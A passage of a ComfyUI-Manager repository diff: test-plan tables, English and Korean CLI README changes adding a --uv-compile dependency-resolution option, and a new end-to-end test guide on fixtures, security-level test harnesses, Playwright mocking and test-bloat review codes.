|
||||
| 17 | P0 | Restart dependency detection | Incremental node pack discovery across restarts |
|
||||
| 18 | P0 | Real node pack integration | Impact + Inspire Pack full pipeline |
|
||||
| CLI-1 | P0 | CLI normal batch resolution | exit 0, deps installed |
|
||||
| CLI-2 | P1 | CLI no custom nodes | exit 0, graceful empty |
|
||||
| CLI-3 | P0 | CLI uv unavailable | exit 1, error message |
|
||||
| CLI-4 | P0 | CLI conflicting deps | exit 1, resolution failed |
|
||||
| CLI-5 | P0 | CLI dangerous pattern skip | exit 0, dangerous skipped |
|
||||
| CLI-6 | P0 | install --uv-compile single | per-node pip skipped, batch resolve |
|
||||
| CLI-7 | P0 | install --uv-compile multi | batch once after all installs |
|
||||
|
||||
### Traceability
|
||||
|
||||
| Feature Requirement | Test Cases |
|
||||
|---------------------|------------|
|
||||
| FR-1: Dependency collection | TC-1, TC-11, TC-12 |
|
||||
| FR-2: Input sanitization | TC-7, TC-8, TC-10 |
|
||||
| FR-3: Index URL handling | TC-9 |
|
||||
| FR-4: Batch resolution (compile) | TC-1, TC-4 |
|
||||
| FR-5: Batch install | TC-1, TC-5 |
|
||||
| FR-6: install.py preserved | TC-6, TC-14 |
|
||||
| FR-7: Startup batch integration | TC-1, TC-2, TC-3 |
|
||||
| Fallback behavior | TC-3, TC-4, TC-5, TC-15, TC-16 |
|
||||
| Disabled node pack exclusion | TC-11 |
|
||||
| Runtime defer behavior | TC-13, TC-14 |
|
||||
| FR-8: Restart discovery | TC-17 |
|
||||
| FR-9: Real-world compatibility | TC-17, TC-18 |
|
||||
| FR-2: Input sanitization (git URLs) | TC-8, TC-18 |
|
||||
| FR-10: CLI batch resolution | TC-CLI-1, TC-CLI-2, TC-CLI-3, TC-CLI-4, TC-CLI-5 |
|
||||
| FR-11: CLI install --uv-compile | TC-CLI-6, TC-CLI-7 |
|
||||
+57
-30
@@ -7,40 +7,39 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
python cm-cli.py [OPTIONS]
|
||||
cm-cli [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* You can execute it via `python cm-cli.py`.
|
||||
* You can execute it via the `cm-cli` command.
|
||||
* For example, if you want to update all custom nodes:
|
||||
* In the ComfyUI-Manager directory, you can execute the command `python cm-cli.py update all`.
|
||||
* If running from the ComfyUI directory, you can specify the path to cm-cli.py like this: `python custom_nodes/ComfyUI-Manager/cm-cli.py update all`.
|
||||
* `cm-cli update all`
|
||||
|
||||
## Prerequisite
|
||||
* It must be run in the same Python environment as the one running ComfyUI.
|
||||
* If using a venv, you must run it with the venv activated.
|
||||
* If using a portable version, and you are in the directory with the run_nvidia_gpu.bat file, you should execute the command as follows:
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* The path for ComfyUI can be set with the COMFYUI_PATH environment variable. If omitted, a warning message will appear, and the path will be set relative to the installed location of ComfyUI-Manager:
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* The path for ComfyUI must be set with the `COMFYUI_PATH` environment variable.
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* For viewing information and managing custom nodes, you can set the information database through --channel and --mode.
|
||||
* For instance, executing the command `python cm-cli.py update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* For instance, executing the command `cm-cli update all --channel recent --mode remote` will operate based on the latest information from remote rather than local data embedded in the current ComfyUI-Manager repo and will only target the list in the recent channel.
|
||||
* --channel, --mode are only available with the commands `simple-show, show, install, uninstall, update, disable, enable, fix`.
|
||||
|
||||
### 2. Viewing Management Information
|
||||
@@ -49,7 +48,7 @@ OPTIONS:
|
||||
|
||||
* `[show|simple-show]` - `show` provides detailed information, while `simple-show` displays information more simply.
|
||||
|
||||
Executing a command like `python cm-cli.py show installed` will display detailed information about the installed custom nodes.
|
||||
Executing a command like `cm-cli show installed` will display detailed information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -66,7 +65,7 @@ FETCH DATA from: https://raw.githubusercontent.com/ltdrdata/ComfyUI-Manager/main
|
||||
[ DISABLED ] ComfyUI-Loopchain (author: Fannovel16)
|
||||
```
|
||||
|
||||
Using a command like `python cm-cli.py simple-show installed` will simply display information about the installed custom nodes.
|
||||
Using a command like `cm-cli simple-show installed` will simply display information about the installed custom nodes.
|
||||
|
||||
```
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
@@ -95,7 +94,7 @@ ComfyUI-Loopchain
|
||||
|
||||
`[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]`
|
||||
|
||||
* You can apply management functions by listing the names of custom nodes, such as `python cm-cli.py install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* You can apply management functions by listing the names of custom nodes, such as `cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack ComfyUI_experiments`.
|
||||
* The names of the custom nodes are as shown by `show` and are the names of the git repositories.
|
||||
(Plans are to update the use of nicknames in the future.)
|
||||
|
||||
@@ -112,11 +111,27 @@ ComfyUI-Loopchain
|
||||
* `enable`: Enables the specified custom nodes.
|
||||
* `fix`: Attempts to fix dependencies for the specified custom nodes.
|
||||
|
||||
#### `--uv-compile` flag (`install`, `reinstall`, `update`, `fix`)
|
||||
|
||||
When `--uv-compile` is specified, per-node pip installs are skipped during node operations.
|
||||
After all operations complete, `uv pip compile` resolves the full dependency graph in one batch.
|
||||
|
||||
* Requires `uv` to be installed.
|
||||
* Prevents dependency conflicts between multiple node packs.
|
||||
* On resolution failure, displays conflicting packages and which node packs requested them.
|
||||
* `reinstall --uv-compile` is mutually exclusive with `--no-deps`.
|
||||
|
||||
```bash
|
||||
cm-cli install ComfyUI-Impact-Pack ComfyUI-Inspire-Pack --uv-compile
|
||||
cm-cli update all --uv-compile
|
||||
cm-cli fix ComfyUI-Impact-Pack --uv-compile
|
||||
```
|
||||
|
||||
|
||||
### 4. Snapshot Management
|
||||
* `python cm-cli.py save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* `cm-cli save-snapshot [--output <snapshot .json/.yaml>]`: Saves the current snapshot.
|
||||
* With `--output`, you can save a file in .yaml format to any specified path.
|
||||
* `python cm-cli.py restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* `cm-cli restore-snapshot <snapshot .json/.yaml>`: Restores to the specified snapshot.
|
||||
* If a file exists at the snapshot path, that snapshot is loaded.
|
||||
* If no file exists at the snapshot path, it is implicitly assumed to be in ComfyUI-Manager/snapshots.
|
||||
* `--pip-non-url`: Restore for pip packages registered on PyPI.
|
||||
@@ -125,23 +140,35 @@ ComfyUI-Loopchain
|
||||
* `--user-directory`: Set the user directory.
|
||||
* `--restore-to`: The path where the restored custom nodes will be installed. (When this option is applied, only the custom nodes installed in the target path are recognized as installed.)
|
||||
|
||||
### 5. CLI Only Mode
|
||||
### 5. Dependency Restoration
|
||||
|
||||
You can set whether to use ComfyUI-Manager solely via CLI.
|
||||
|
||||
`cli-only-mode [enable|disable]`
|
||||
|
||||
* This mode can be used if you want to restrict the use of ComfyUI-Manager through the GUI for security or policy reasons.
|
||||
* When CLI only mode is enabled, ComfyUI-Manager is loaded in a very restricted state, the internal web API is disabled, and the Manager button is not displayed in the main menu.
|
||||
|
||||
### 6. Dependency Restoration
|
||||
|
||||
`restore-dependencies`
|
||||
`restore-dependencies ?[--uv-compile]`
|
||||
|
||||
* This command can be used if custom nodes are installed under the `ComfyUI/custom_nodes` path but their dependencies are not installed.
|
||||
* It is useful when starting a new cloud instance, like Colab, where dependencies need to be reinstalled and installation scripts re-executed.
|
||||
* It can also be utilized if ComfyUI is reinstalled and only the custom_nodes path has been backed up and restored.
|
||||
* Use `--uv-compile` to skip per-node pip installs and resolve all dependencies in one batch instead.
|
||||
|
||||
### 7. Clear
|
||||
### 6. Install from Dependency File
|
||||
|
||||
`install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]`
|
||||
|
||||
* Installs custom nodes specified in a dependency spec file (`.json`) or workflow file (`.png`/`.json`).
|
||||
* Use `--uv-compile` to batch-resolve all dependencies after installation instead of per-node pip.
|
||||
|
||||
### 7. uv-compile
|
||||
|
||||
`uv-compile ?[--user-directory <path>]`
|
||||
|
||||
* Batch-resolves and installs all custom node pack dependencies using `uv pip compile`.
|
||||
* Useful for environment recovery or initial setup without starting ComfyUI.
|
||||
* Requires `uv` to be installed.
|
||||
|
||||
```bash
|
||||
cm-cli uv-compile
|
||||
cm-cli uv-compile --user-directory /path/to/comfyui
|
||||
```
|
||||
|
||||
### 8. Clear
|
||||
|
||||
In the GUI, installations, updates, or snapshot restorations are scheduled to execute the next time ComfyUI is launched. The `clear` command clears this scheduled state, ensuring no pre-execution actions are applied.
|
||||
|
||||
@@ -0,0 +1,349 @@
|
||||
# GUIDE_E2E_TEST — ComfyUI-Manager E2E Test Guide
|
||||
|
||||
> Auto-generated by pair-scaffold (test-guide mode). Domain: **api** (primary)
|
||||
> with mixed **web** (Playwright UI) + **cli** (cm-cli subprocess) elements.
|
||||
> Date: 2026-04-21.
|
||||
|
||||
This guide consolidates session-wide E2E knowledge accumulated through the
|
||||
WI-A..WI-ZZ sweep. It is the entry point for writing, running, and auditing
|
||||
end-to-end tests against the ComfyUI-Manager backend (glob + legacy) and
|
||||
the legacy management UI. Companion registry of reusable test patterns:
|
||||
`.claude/scaffold/e2e-methods.yml`.
|
||||
|
||||
---
|
||||
|
||||
## 1. Testing Strategy
|
||||
|
||||
Three test surfaces cover different contract layers. Pick the surface that
|
||||
matches the contract you are validating — do not default to "everything".
|
||||
|
||||
| Surface | Location | Transport | Authoritative for |
|
||||
|---------|----------|-----------|-------------------|
|
||||
| **pytest E2E** | `tests/e2e/*.py` | Direct HTTP via `requests` against running aiohttp server | Endpoint contract (status, schema, side-effect, CSRF) |
|
||||
| **Playwright UI (real)** | `tests/playwright/legacy-ui-*.spec.ts` | Browser click → real backend | UI↔backend wiring against actual server state |
|
||||
| **Playwright UI (mock)** | `tests/playwright/legacy-ui-mock-*.spec.ts` | Browser click → `page.route()` intercept | UI→API request shape (URL / method / payload) without backend mutation |
|
||||
| **CLI subprocess** | `tests/cli/test_uv_compile.py` | `subprocess.run()` against `cm-cli` | CLI command contract (args, exit code, stdout/stderr) |
|
||||
|
||||
**Layering rule**: when both pytest and Playwright can cover a behavior, use
|
||||
pytest for backend contract and Playwright for UI wiring. Mock Playwright is
|
||||
acceptable ONLY when real execution is infeasible (security gate, destructive
|
||||
operation, long-running network) — flag it in the test name suffix
|
||||
(`-mock` / `WI-WW-mock`) and document the honesty boundary (§6 below).
|
||||
|
||||
---
|
||||
|
||||
## 2. Test Categories
|
||||
|
||||
| Category | Description | Location | Tools |
|
||||
|----------|-------------|----------|-------|
|
||||
| pytest E2E direct | Endpoint contract via HTTP | `tests/e2e/` | `requests` + `pytest` |
|
||||
| pytest E2E negative | CSRF / 400 / input validation | `tests/e2e/test_e2e_csrf*.py` | `requests` |
|
||||
| Playwright real | UI click → real backend | `tests/playwright/legacy-ui-*.spec.ts` | `@playwright/test` |
|
||||
| Playwright mock | UI click → `page.route` mocked response | `tests/playwright/legacy-ui-mock-*.spec.ts` | `@playwright/test` `page.route` |
|
||||
| CLI subprocess | cm-cli end-to-end | `tests/cli/` | `pytest` + `subprocess.run` |
|
||||
|
||||
---
|
||||
|
||||
## 3. Critical Environment Requirements
|
||||
|
||||
**MUST read before writing any E2E test.** These are not optional; every one
|
||||
cost at least one debugging cycle in the sweep.
|
||||
|
||||
### 3.1 Editable install requirement
|
||||
|
||||
After editing source under `comfyui_manager/`, re-run `uv pip install -e .`
|
||||
inside the E2E venv. A running server uses whatever source the venv
|
||||
registered at startup — stale source means stale behaviour. After commit
|
||||
`99caef55` (CSRF state-changing-endpoint conversion), skipping this step
|
||||
caused POST routes to return 405 because the test venv still had the
|
||||
pre-conversion routing table.
|
||||
|
||||
### 3.2 Legacy vs glob mutex
|
||||
|
||||
`comfyui_manager/__init__.py:14-45` loads EITHER the glob manager OR the
|
||||
legacy manager — never both. Use the fixture script that matches the
|
||||
contract under test:
|
||||
|
||||
| Script | Manager | Extra flags |
|
||||
|--------|---------|-------------|
|
||||
| `tests/e2e/scripts/start_comfyui.sh` | glob | none |
|
||||
| `tests/e2e/scripts/start_comfyui_legacy.sh` | legacy | `--enable-manager-legacy-ui` |
|
||||
| `tests/e2e/scripts/start_comfyui_strict.sh` | glob | patches `config.ini` to `security_level = strong` (for negative-path `403` tests on `middle` / `middle+` gates) |
|
||||
| `tests/e2e/scripts/start_comfyui_permissive.sh` | legacy + relaxed | patches `config.ini` to `security_level = normal-` and sets `ENABLE_LEGACY_UI=1` (for positive-path tests on `high+` gates: `comfyui_switch_version`, `install/git_url`, `install/pip`) |
|
||||
|
||||
Mixing them in the same suite is an error — pytest modules that exercise
|
||||
legacy-only endpoints MUST live in `test_e2e_legacy_*.py` so the fixture can
|
||||
select the legacy script.
|
||||
|
||||
### 3.3 Port namespace + PID files
|
||||
|
||||
All fixture scripts write `$LOG_DIR/comfyui.${PORT}.pid`. Default ports:
|
||||
|
||||
| Manager | Default PORT | PID file |
|
||||
|---------|:---:|----------|
|
||||
| glob | 8188 | `$LOG_DIR/comfyui.8188.pid` |
|
||||
| legacy | 8199 | `$LOG_DIR/comfyui.8199.pid` |
|
||||
| strict | 8188 | `$LOG_DIR/comfyui.8188.pid` |
|
||||
|
||||
Because the PID file is per-port, glob + legacy suites can run concurrently
|
||||
if they pick distinct ports. Never hard-code `8188` / `8199` in your
|
||||
assertions — read `PORT` from env.
|
||||
|
||||
### 3.4 Safety env var — manager_requirements skip
|
||||
|
||||
`start_comfyui.sh` exports `COMFYUI_MANAGER_SKIP_MANAGER_REQUIREMENTS=1`
|
||||
(added in WI-WW/WI-YY). Any install/update code path that would otherwise
|
||||
reinstall `manager_requirements.txt` sees this flag and skips. Real install
|
||||
tests (e.g. `test_e2e_legacy_real_ops.py::TestInstallModelRealDownload`)
|
||||
depend on this — without it the test server would re-pin its own
|
||||
dependencies mid-test and fail randomly.
|
||||
|
||||
### 3.5 E2E_ROOT
|
||||
|
||||
`$E2E_ROOT` is the venv root + artifact directory produced by
|
||||
`tests/e2e/scripts/setup_e2e_env.sh`. All fixture scripts source from it.
|
||||
Export it once per shell session, or pass it per-command:
|
||||
|
||||
```bash
|
||||
export E2E_ROOT=</path/to/your/e2e-root> # one-time
|
||||
```
|
||||
|
||||
**Portability**: never hard-code the absolute path inside test code. Read
|
||||
from `os.environ["E2E_ROOT"]` or let the fixture script resolve it.
|
||||
|
||||
---
|
||||
|
||||
## 4. Fixture Patterns
|
||||
|
||||
### 4.1 `comfyui` module-scoped fixture
|
||||
|
||||
`tests/e2e/conftest.py` defines a module-scoped `comfyui` fixture that:
|
||||
|
||||
1. Invokes `start_comfyui.sh` with the current PORT.
|
||||
2. Blocks until the server accepts requests (or timeout).
|
||||
3. Yields the server URL for the test.
|
||||
4. Tears down with `stop_comfyui.sh` (kills the PID in the `.pid` file).
|
||||
|
||||
### 4.2 Fixture variants
|
||||
|
||||
| Variant | Fixture script | Extra setup |
|
||||
|---------|---------------|-------------|
|
||||
| glob (default) | `start_comfyui.sh` | PORT=8188 |
|
||||
| legacy | `start_comfyui_legacy.sh` | PORT=8199, `ENABLE_LEGACY_UI=1` |
|
||||
| strict | `start_comfyui_strict.sh` | Patches `config.ini` to `security_level = strong` (backup at `config.ini.before-strict`); fixture MUST restore on teardown. Used for negative-path `403` assertions on `middle` / `middle+` gates. |
|
||||
| permissive | `start_comfyui_permissive.sh` | Patches `config.ini` to `security_level = normal-` (backup at `config.ini.before-permissive`) and sets `ENABLE_LEGACY_UI=1`; fixture MUST restore on teardown. Used for positive-path execution of `high+` gated endpoints (`comfyui_switch_version`, `install/git_url`, `install/pip`) with hardcoded trusted inputs. |
|
||||
|
||||
### 4.3 Example invocation
|
||||
|
||||
```bash
|
||||
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest \
|
||||
tests/e2e/test_e2e_legacy_endpoints.py -v --timeout=300
|
||||
```
|
||||
|
||||
Use the venv's interpreter explicitly (`$E2E_ROOT/venv/bin/python`) — not
|
||||
the system `python` — so the test runs against the editable install from
|
||||
§3.1.
|
||||
|
||||
---
|
||||
|
||||
## 5. Test Design Patterns
|
||||
|
||||
Distilled from the sweep. Match the pattern to your contract; do not
|
||||
invent new patterns without recording them in
|
||||
`.claude/scaffold/e2e-methods.yml`.
|
||||
|
||||
### 5.1 Positive-path
|
||||
|
||||
Status 200 + response schema + side-effect verification. Do not stop at
|
||||
status 200 — assert at least one schema field AND one observable side
|
||||
effect (disk artifact, queue entry, config change).
|
||||
|
||||
### 5.2 Negative-path
|
||||
|
||||
Status 400 / 403 / 405 + body message substring. CSRF-reject tests live
|
||||
in `test_e2e_csrf*.py` and are parametrized over the full endpoint list.
|
||||
|
||||
### 5.3 Async queue polling
|
||||
|
||||
Install / update endpoints enqueue work and return immediately. Poll
|
||||
`/v2/manager/queue/status` or the expected disk artifact until completion.
|
||||
Never `time.sleep()` with a hard-coded interval — use `expect.poll` (TS)
|
||||
or a polling helper with a timeout.
|
||||
|
||||
### 5.4 Teardown mandatory for mutation tests
|
||||
|
||||
Install / save / apply tests MUST restore the original state. Use
|
||||
`try/finally` or a pytest fixture. A failing test that leaves a modified
|
||||
config.ini or an installed custom_node poisons every subsequent test in
|
||||
the suite.
|
||||
|
||||
### 5.5 `@pytest.mark.xfail` for known bugs
|
||||
|
||||
When a test documents a bug that is not yet fixed, mark it
|
||||
`@pytest.mark.xfail(reason=...)`. When the fix lands, flip to `xfail(strict=True)`
|
||||
or remove the mark and include the fix commit hash in the removal commit
|
||||
message (see `test_reinstall_with_uv_compile` / commit `ddccefbc` for the
|
||||
pattern).
|
||||
|
||||
### 5.6 Playwright selector stability
|
||||
|
||||
Prefer title attribute — e.g. `select[title^="Configure the channel"]` —
|
||||
over class selectors (shared across multiple combos). Label-based
|
||||
(`:has(span.text-muted:text-is("Channel"))`) is second-best. Class-only
|
||||
is brittle. See `reports/legacy-ui-channel-combo-dom-mapping.md` for the
|
||||
channel-combo case study.
|
||||
|
||||
### 5.7 Playwright 2-hop mock
|
||||
|
||||
For fail-state UI scenarios: mock GET (inject a fake pack that puts the UI
|
||||
into the failure state) + intercept POST (capture the payload the failure
|
||||
handler fires). (The prior `legacy-ui-mock-install.spec.ts::wi-015`
|
||||
exemplar was superseded by a real-E2E pre-seeded broken-pack test in
|
||||
`tests/e2e/test_e2e_legacy_real_ops.py::TestImportFailInfoReal` — use
|
||||
this technique only when real backend reproduction is infeasible.)
|
||||
|
||||
### 5.8 Playwright `page.request.post` fallback
|
||||
|
||||
For structurally unreachable UI triggers — e.g. the idle-state
|
||||
`queue/reset` Stop button is `display: none` — use the browser-context
|
||||
HTTP client to bypass the UI. Document the reason in the spec comment so
|
||||
future readers don't "fix" it by forcing a click.
|
||||
|
||||
---
|
||||
|
||||
## 6. Security Gate Matrix
|
||||
|
||||
`comfyui_manager/glob/utils/security_utils.py:20-26` gates endpoints by
|
||||
risk level. The default `security_level=normal` allows middle+ but
|
||||
rejects high+ with 403.
|
||||
|
||||
| Gate | Local only? | security_level must be in |
|
||||
|------|:---:|---------------------------|
|
||||
| `middle+` | optional | `{WEAK, NORMAL, NORMAL_}` (default allows) |
|
||||
| `high+` | required | `{WEAK, NORMAL_}` (default `NORMAL` ⇒ 403) |
|
||||
|
||||
**high+ endpoints** (`comfyui_switch_version`, `install/git_url`,
|
||||
`install/pip`, install_model with non-safetensors, etc.) require
|
||||
`start_comfyui_permissive.sh` to be tested positively. That harness
|
||||
backs up `config.ini`, patches `security_level = normal-`, sets
|
||||
`ENABLE_LEGACY_UI=1`, and the pytest fixture restores the config on
|
||||
teardown. Use hardcoded trusted inputs only (never user-derived) — the
|
||||
default-security `403` contract is the positive-path security behavior
|
||||
we want to preserve in production. The counterpart
|
||||
`start_comfyui_strict.sh` harness (`security_level = strong`) is used to
|
||||
exercise the 403 negative path for `middle` / `middle+` gates. See the
|
||||
WI-YY infeasibility log for which high+ endpoints still need harness
|
||||
work.
|
||||
|
||||
**Honesty boundary for mock-based closures**: rows in
|
||||
`reports/api-coverage-matrix.md` marked `Y (WI-WW-mock)` assert UI→API
|
||||
wiring only — URL + method + payload shape. They do NOT assert backend
|
||||
handler behavior; that is pytest's job. A regression that kept the UI
|
||||
firing correctly but broke the backend would not be caught by the mock
|
||||
test alone. Document the boundary in the spec comment.
|
||||
|
||||
---
|
||||
|
||||
## 7. Audit & Coverage Artifacts
|
||||
|
||||
Tracked reports under `reports/`. Update these when you add or retire
|
||||
tests.
|
||||
|
||||
| Artifact | Purpose | Maintenance |
|
||||
|----------|---------|-------------|
|
||||
| `reports/e2e_verification_audit.md` | Per-test verdict matrix (✅ PASS / ⚠️ WEAK / ❌ INADEQUATE / N/A) with Summary table, per-file sections, TOTAL counts | Any new or retired test → update both the per-file section and Summary; then run `scripts/verify_audit_counts.py` |
|
||||
| `reports/api-coverage-matrix.md` | 39-endpoint × pytest + Playwright matrix | Update when a new endpoint is added or a coverage cell flips |
|
||||
| `reports/test-bloat-inventory.md` | 10-code bloat sweep (B1-BA), 127-test baseline | Run `/pair-sweep test bloat identification` for a re-baseline when churn exceeds 10 tests |
|
||||
|
||||
**Verification script**: `scripts/verify_audit_counts.py` parses
|
||||
`e2e_verification_audit.md` and validates that the Summary row counts
|
||||
match the per-file section counts and the TOTAL line. It MUST exit 0
|
||||
before a doc-sync WI completes.
|
||||
|
||||
---
|
||||
|
||||
## 8. Test Bloat Checklist (B1-BA)
|
||||
|
||||
Use these codes when reviewing new tests. Sources:
|
||||
`reports/test-bloat-inventory.md` + the sweep methodology in
|
||||
`.claude/pair-working/sessions/sweep-endpoint-coverage/scratch/goal-report-bloat-sweep.md`.
|
||||
|
||||
| Code | Type | Criterion |
|
||||
|------|------|-----------|
|
||||
| **B1** Redundant | Duplicate assertion | Same assertion or contract already covered by another test |
|
||||
| **B2** Over-parametrized | Boundary noise | Cases beyond boundary + equivalence class contribute zero |
|
||||
| **B3** Mixed-concerns | Multi-concern | One test mixes 3+ unrelated assertions |
|
||||
| **B4** Dead | Non-existent feature | Validates a removed / non-existent endpoint or API |
|
||||
| **B5** Smoke-only | Superficial | Only checks status 200 + dict type, no substantive validation |
|
||||
| **B6** Setup-heavy | Over-fixtured | 50+ lines of setup/teardown vs few assertions |
|
||||
| **B7** Stale-skip | Obsolete skip | `pytest.skip` reason no longer valid |
|
||||
| **B8** Title-mismatch | Misleading name | Function name does not match what it actually validates |
|
||||
| **B9** Copy-paste | DRY violation | ≥80% duplication with another test; helper/parametrization possible |
|
||||
| **BA** Impl-detail | Implementation-coupled | Validates internal implementation, not contract |
|
||||
|
||||
**Triage priority**: B4 ⇒ remove. B1/B9 ⇒ parametrize or remove the
|
||||
duplicate. B8 ⇒ rename or refactor the assertion. B5/BA ⇒ strengthen or
|
||||
remove. B6/B7 ⇒ clean up. B2/B3 ⇒ case-by-case.
|
||||
|
||||
---
|
||||
|
||||
## 9. Running Tests
|
||||
|
||||
### 9.1 pytest E2E — glob manager
|
||||
|
||||
```bash
|
||||
pytest tests/e2e/ -v --timeout=300
|
||||
```
|
||||
|
||||
### 9.2 pytest E2E — legacy-only endpoints
|
||||
|
||||
```bash
|
||||
pytest tests/e2e/test_e2e_legacy_endpoints.py tests/e2e/test_e2e_csrf_legacy.py -v
|
||||
```
|
||||
|
||||
### 9.3 Playwright (legacy UI)
|
||||
|
||||
```bash
|
||||
PORT=8199 npx playwright test tests/playwright/
|
||||
```
|
||||
|
||||
### 9.4 CLI subprocess
|
||||
|
||||
```bash
|
||||
pytest tests/cli/ -v
|
||||
```
|
||||
|
||||
### 9.5 Audit verification
|
||||
|
||||
```bash
|
||||
python3 scripts/verify_audit_counts.py
|
||||
```
|
||||
|
||||
Exits 0 when `reports/e2e_verification_audit.md` is internally consistent
|
||||
(Summary ↔ per-file ↔ TOTAL). Exit non-zero → drift between sections.
|
||||
|
||||
### 9.6 Full suite (reference invocation)
|
||||
|
||||
```bash
|
||||
# pytest all, with explicit venv
|
||||
E2E_ROOT=$E2E_ROOT $E2E_ROOT/venv/bin/python -m pytest tests/e2e/ -v --timeout=300
|
||||
|
||||
# Playwright, legacy UI mode
|
||||
PORT=8199 npx playwright test tests/playwright/
|
||||
|
||||
# Audit verification
|
||||
python3 scripts/verify_audit_counts.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Appendix — Companion Files
|
||||
|
||||
- `.claude/scaffold/e2e-methods.yml` — living registry of the test
|
||||
patterns described in §5 plus the bloat codes from §8. Append entries
|
||||
when you establish a new pattern.
|
||||
- `reports/e2e_verification_audit.md` — per-test verdict matrix.
|
||||
- `reports/api-coverage-matrix.md` — endpoint × coverage matrix.
|
||||
- `reports/test-bloat-inventory.md` — 127-test sweep baseline.
|
||||
- `reports/legacy-ui-channel-combo-dom-mapping.md` — DOM selector case
|
||||
study for the Channel combo.
|
||||
+55
-31
@@ -7,40 +7,39 @@
|
||||
-= ComfyUI-Manager CLI (V2.24) =-
|
||||
|
||||
|
||||
python cm-cli.py [OPTIONS]
|
||||
cm-cli [OPTIONS]
|
||||
|
||||
OPTIONS:
|
||||
[install|reinstall|uninstall|update|disable|enable|fix] node_name ... ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[install|reinstall|update|fix] node_name ... ?[--uv-compile]
|
||||
[update|disable|enable|fix] all ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
[update|fix] all ?[--uv-compile]
|
||||
[simple-show|show] [installed|enabled|not-installed|disabled|all|snapshot|snapshot-list] ?[--channel <channel name>] ?[--mode [remote|local|cache]]
|
||||
save-snapshot ?[--output <snapshot .json/.yaml>]
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url]
|
||||
cli-only-mode [enable|disable]
|
||||
restore-dependencies
|
||||
restore-snapshot <snapshot .json/.yaml> ?[--pip-non-url] ?[--pip-non-local-url] ?[--pip-local-url] ?[--uv-compile]
|
||||
restore-dependencies ?[--uv-compile]
|
||||
install-deps <deps.json> ?[--channel <channel name>] ?[--mode [remote|local|cache]] ?[--uv-compile]
|
||||
uv-compile
|
||||
clear
|
||||
```
|
||||
|
||||
## How To Use?
|
||||
* `python cm-cli.py` 를 통해서 실행 시킬 수 있습니다.
|
||||
* `cm-cli` 명령으로 실행할 수 있습니다.
|
||||
* 예를 들어 custom node를 모두 업데이트 하고 싶다면
|
||||
* ComfyUI-Manager 경로에서 `python cm-cli.py update all` 명령을 실행할 수 있습니다.
|
||||
* ComfyUI 경로에서 실행한다면, `python custom_nodes/ComfyUI-Manager/cm-cli.py update all` 와 같이 cm-cli.py 의 경로를 지정할 수도 있습니다.
|
||||
* `cm-cli update all` 명령을 실행할 수 있습니다.
|
||||
|
||||
## Prerequisite
|
||||
* ComfyUI 를 실행하는 python과 동일한 python 환경에서 실행해야 합니다.
|
||||
* venv를 사용할 경우 해당 venv를 activate 한 상태에서 실행해야 합니다.
|
||||
* portable 버전을 사용할 경우 run_nvidia_gpu.bat 파일이 있는 경로인 경우, 다음과 같은 방식으로 명령을 실행해야 합니다.
|
||||
`.\python_embeded\python.exe ComfyUI\custom_nodes\ComfyUI-Manager\cm-cli.py update all`
|
||||
* ComfyUI 의 경로는 COMFYUI_PATH 환경 변수로 설정할 수 있습니다. 만약 생략할 경우 다음과 같은 경고 메시지가 나타나며, ComfyUI-Manager가 설치된 경로를 기준으로 상대 경로로 설정됩니다.
|
||||
```
|
||||
WARN: The `COMFYUI_PATH` environment variable is not set. Assuming `custom_nodes/ComfyUI-Manager/../../` as the ComfyUI path.
|
||||
```
|
||||
`.\python_embeded\python.exe -m cm_cli update all`
|
||||
* ComfyUI 의 경로는 `COMFYUI_PATH` 환경 변수로 설정해야 합니다.
|
||||
|
||||
## Features
|
||||
|
||||
### 1. --channel, --mode
|
||||
* 정보 보기 기능과 커스텀 노드 관리 기능의 경우는 --channel과 --mode를 통해 정보 DB를 설정할 수 있습니다.
|
||||
